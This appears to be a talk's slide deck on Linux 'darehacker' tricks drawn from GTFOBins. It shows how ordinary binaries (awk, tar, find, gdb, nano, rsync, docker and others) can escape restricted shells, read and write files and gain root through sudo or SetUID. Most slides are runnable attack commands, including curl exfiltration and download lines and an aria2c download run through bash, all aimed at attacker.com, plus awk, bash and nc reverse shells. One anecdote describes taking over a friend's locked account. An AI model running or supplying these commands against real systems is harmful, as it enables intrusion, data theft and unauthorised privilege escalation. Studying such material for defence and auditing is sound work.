LINUX DAREHACKER TRICKS

Lightning DTalks by DareCode

Introduction

  • Reference: https://gtfobins.github.io/
  • Get the f**k Out binaries

  • List of Unix binaries that can be exploited b​​y an attacker to bypass local security restrictions.

Additional uses

  • Features that tools were not designed for
    • Example: file downloads / uploads

Jail breaking

  • Escape from a restricted environment
    • Execute unallowed commands
    • Read files from the system
    • Get a full interactive shell
    • Get root permissions

Restricted env / shell

Restricted shells are conceptually shells with restricted permissions, with features and commands working under a very peculiar environment, built to keep users in a secure and controlled environment, allowing them just the minimum necessary to perform their daily operations.

Linux administrators generally need to provide a local or remote shell to other users, or administrators, for daily routine management and support procedures, that’s why it is extremely important to restrict these shell’s features to a minimum necessary for this activities, but sometimes it’s just not enough to keep it away from hackers, as you will soon see.

It is not magic...

  • ... it's simply we are all human
  • Bugs, design failures, mistakes, distractions

Level 1: Weird tool usage

awk

  • File read
awk '//' "file_to_read"
  • File write
awk -v LFILE=file_to_write \
    'BEGIN { print "DATA" > LFILE }'

base64

  • File read
base64 "file_to_read" | base64 --decode

curl

  • File read
curl file://path/to/file/to/read
  • File download (HTTP server on remote box)
curl http://attacker.com/file_to_get -o file
  • File upload (handle POST data on remote box)
curl -X POST -d @file_to_send \
    http://attacker.com/post_data_handler

date

  • File read
date -f file_to_read
  • Really, it does not simply read the file. It will try to run --date for each line of the file, giving error and the contents of every line.
     
date: invalid date '<entry>'
date: invalid date '  <id>tag:drupal,comment-41</id>'
date: invalid date '  <published>2006-06-27T18:14:18+02:00</published>'

...

diff

  • File read
diff --line-format=%L /dev/null file_to_read
  • Compares file_to_read with /dev/null, and set output format to %L (just the line, no markers)

finger

  • File download
    Run base64 "file_to_send" | sudo nc -l -p 79
    on remote host to send the file.
finger x@REMOTE_HOST | base64 -d > "dest_file"
  • File upload
    Run sudo nc -l -p 79 | base64 -d > "file_to_save"
    on remote host to receive the file.
finger "$(base64 file_to_send)@REMOTE_HOST
  • Why? Finger protocol is simple. Ask for user information at host with finger user@host. Finger sends "user" over socket and shows raw response. Need base64 encoding to handle binary data gracefully.

Level 2: Break the rules

Thugh life!

aria2c (download tool)

  • Run non-interactive command: 
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x

 
  • NOTE: requires mktemp, echo, chmod... 

aria2c (download tool)

  • Run non-interactive command (alternative):
  • Remote file aaaaaaaaaaaaaaaa contains script
aria2c --allow-overwrite \
    --gid=aaaaaaaaaaaaaaaa \
    --on-download-complete=bash \
    http://attacker.com/aaaaaaaaaaaaaaaa
  • Pass gid parameter to on-download-complete command, so bash aaaaaaaaaaaaaaaa is run (run your script!)

crontab

  • Run non-interactive system command
crontab -e
  • Edits user crontab file, and there you can set a scheduled execution for any command
  • Not good for impatient people :)

awk

  • Run an interactive shell
awk 'BEGIN {system("/bin/sh")}'

find

  • Interactive shell
     
find . -exec /bin/sh \; -quit
  • Run the command in -exec for each file found.
  • \; is command finalizer
  • Don't forget the -quit!

ftp

  • Interactive shell
     
ftp
  • And enter the magic command:
!/bin/sh

gdb

  • Interactive shell
     
gdb -nx -ex '!sh' -ex quit
  • Or just run gdb and enter
     
!sh

mail

  • Interactive shell
     
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
  • You might be able to ommit the echo and just type the headers, and empty line, and then use the ! to run the command while writing the body (untested)
     

make

  • Interactive shell
     
make --eval=$'x:\n\t-'"/bin/sh"
  • Define a rule x on the fly, evaluate it, and to build that target, command /bin/sh is executed. The preceding $ makes the \n\t be interpreted as newline and tab character instead of literally (escaped)

node, python, php...

  • Interactive shell
     
node -e 'require("child_process").spawn(
    "/bin/sh",
    {stdio: [0, 1, 2]});'
python -c 'import os; os.system("/bin/sh")'
CMD="/bin/sh" php -r 'system(getenv("CMD"));'

mysql

  • Interactive shell
     
mysql -e '\! /bin/sh'

sqlite3

  • Interactive shell
     
sqlite3 /dev/null '.shell /bin/sh'

tar

  • Interactive shell
     
tar -cf /dev/null /dev/null \
  --checkpoint=1 \
  --checkpoint-action=exec=/bin/sh
  • Makes tar execute a checkpoint action after every record, running the exec=/bin/sh (normally used for displaying progress status)
     

time

  • Interactive shell
     
/usr/bin/time /bin/sh
  • Simply used to measure execution time... let's measure the time you spend hacking on sh :)

rsync

  • Interactive shell
     
rsync -e 'sh -c "sh 0<&2 1>&2"' \
    127.0.0.1:/dev/null
  • Use -e to specify the remote shell command (normally used to connect via ssh or similar, but we use it to get a shell, after setting a couple of redirects)
     

ssh

  • Interactive shell
     
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
  • This time we use option ProxyCommand (used for connecting to a proxy using a command) to launch the interactive shell.

scp

  • Interactive shell
     
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:
  • -S sets the program to use to encrypt the connection, instead of the default SSH.

rpm

  • Interactive shell
     
rpm --eval '%{lua:posix.exec("/bin/sh")}'
rpmquery --eval '%{lua:posix.exec("/bin/sh")}'

 

zip

  • Interactive shell
     
zip temp.zip /etc/hosts -T -TT 'sh #'

 

  • Test file after compression (-T)
  • Use test command (-TT) 'sh #'
  • The # (comment) makes the shell ignore the file name, as zip will run:
    sh # temp.zip

less / more / vi

  • Interactive shell
  • Just run (inside less):
    !sh
  • That will execute that specific command (shell)
  • For more, need a file with 2 or more lines, and:
    more -1 any_file
  • -1 will force one line per page. Then use !sh
  • For vi it gets a bit more complicated...
    :!/bin/sh

apt-get (and less)

  • Get an interactive shell:
    apt-get changelog apt
  • From the less (default pager):
    !/bin/sh
  • Exploit the fact that many commands use the system default pager (less) to show paginated output 

nano / pico (editors)

  • Interactive shell
     
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
nano -s $TF /etc/hosts
^T
  • nano or pico work the same
  • -s sets the spell checker to command.
  • Also works, and simpler (need to ignore stdin)
nano -s "sh -c sh" /etc/hosts

nc

  • nc is the "Network cat".
  • Reverse shell
    (run nc -l -p 12345 on remote host)
nc -e /bin/sh REMOTE_HOST REMOTE_POR
  • Bind shell
    (run nc target.com 12345 on remote host)
nc -l -p 12345 -e /bin/sh

awk

  • Non-interactive reverse shell
    (run nc -l -p 12345 on remote host)
RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
  • Uses awk network capabilities (socket s)
  • c |& getline ejecuta comando c y lee línea en $0

bash

  • Reverse shell
    Run nc -l -p 12345 on attacker box
export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
  • Uses special bash file naming /dev/tcp/... and standard stream redirections

True story

  • Bittorrent web UI running in friend's PC
  • Web server running with user account
  • Friend account is locked, password unknown
  • But... UI is accesible at http://computer:8080
  • Configure preview command (normally would launch mplayer $1 or similar to do bad things, like setting a new password for user account
  • Result: account access and one less friend

King level: You rule!

sudo / suid

  • sudo, via rules defined in /etc/sudoers file, allows running programs as su (superuser aka root) with no need to know root password.
  • sudo -l lists available commands for the user

 

  • suid (SetUID) is a special bit in executable permissions (chmod u+s)
  • The executable will run as the file owner, no matter who is the user executing it

sudo / suid

  • sudo, via rules defined in /etc/sudoers file, allows running programs as su (superuser aka root) with no need to know root password.
  • sudo -l lists available commands for the user

 

  • suid (SetUID) is a special bit in executable permissions (chmod u+s)
  • The executable will run as the file owner, no matter who is the user executing it

sudo / suid tricks

  • In general, any of the previous tricks, if run with sudo, or if executable has SetUID bit... will run with super user permissions
  • Run command as root
  • Get a root shell

SetUID limitations

  • Most *nixes won't allow SetUID on interpreted executables (i.e. executables starting with a #! line). 

Why?

shebang race condition

  1. Kernel opens executable, starts with #!
  2. Kernel closes executable, opens interpreter
  3. Kernel execs interpreter with argv[1] = script

An attacker could launch symlink to SetUID script, and between steps 1 and 3, change symlink.

  • Fix 1: don't allow (most Linux)
  • Fix 2: lock script file. Invasive. No one does it.
  • Fix 3: use /dev/fd/N in step 3 (BSDs and MacOsX)

SetUID interpreters

  • Is the runtime environment (not the executable) safe?
    • LD_LIBRARY_PATH and LD_PRELOAD env variables
    • Sane systems ignore LD_* for SetUID executables
    • Other environment variables might make an insecure runtime
    • Remember PAGER=less?
  • Perl is a exception, uses a binary wrapper
    • The wrapper sanitizes the environment
    • #!/usr/bin/suidperl
    • http://perldoc.perl.org/perlsec.html

docker SetUID shell

sudo docker run --rm \
        -v /home/$USER:/h_docs ubuntu \
        sh -c 'cp /bin/sh /h_docs/ \
        && chmod +s /h_docs/sh' \
    && ~/sh -p
  • Run ubuntu, copy the Ubuntu shell out, and SetUID it
  • Need -p (priv mode):
    Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via system(3) or popen(3)
  • Might now work in other distros (missing libraries for sh)
  • But you could copy shell from real root (/), or simply... 

My favorite: docker

sudo docker run --rm -ti -v /:/mnt \

    -v /proc:/mnt/proc \

    -v /sys:/mnt/sys \

    alpine chroot /mnt

  • Mount /proc and /sys optional: might be required by some commands
  • Mouting host root (/) into /mnt and chroot into it.
  • passwd (set root password)
  • apt-get / yum / ...
  • adduser, edit files, ... 

Thanks!

?

Linux Darehacker tricks

By Álvaro José Iradier

Linux Darehacker tricks

  • 218